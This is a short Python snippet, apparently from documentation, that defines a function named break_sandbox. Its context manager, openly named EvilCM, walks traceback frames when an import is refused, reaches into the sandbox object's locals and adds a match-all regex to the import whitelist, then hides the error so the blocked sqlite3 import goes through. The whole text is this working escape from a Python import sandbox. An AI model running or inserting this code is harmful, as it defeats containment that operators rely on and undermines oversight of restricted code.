docs: def break_sandbox():
      """Patches sandbox to add match-all regex to sandbox whitelist
      """
      class EvilCM(object):
          def __enter__(self):
              return self
  
          def __exit__(self, exc_type, exc, tb):
              import re
              tb.tb_next.tb_next.tb_next.tb_frame.f_locals[
                  'self']._enabled_regexes.append(re.compile('.*'))
              return True
      try:
          import sqlite3  # noqa
      except ImportError:
          with EvilCM():
              __import__('sqlite3')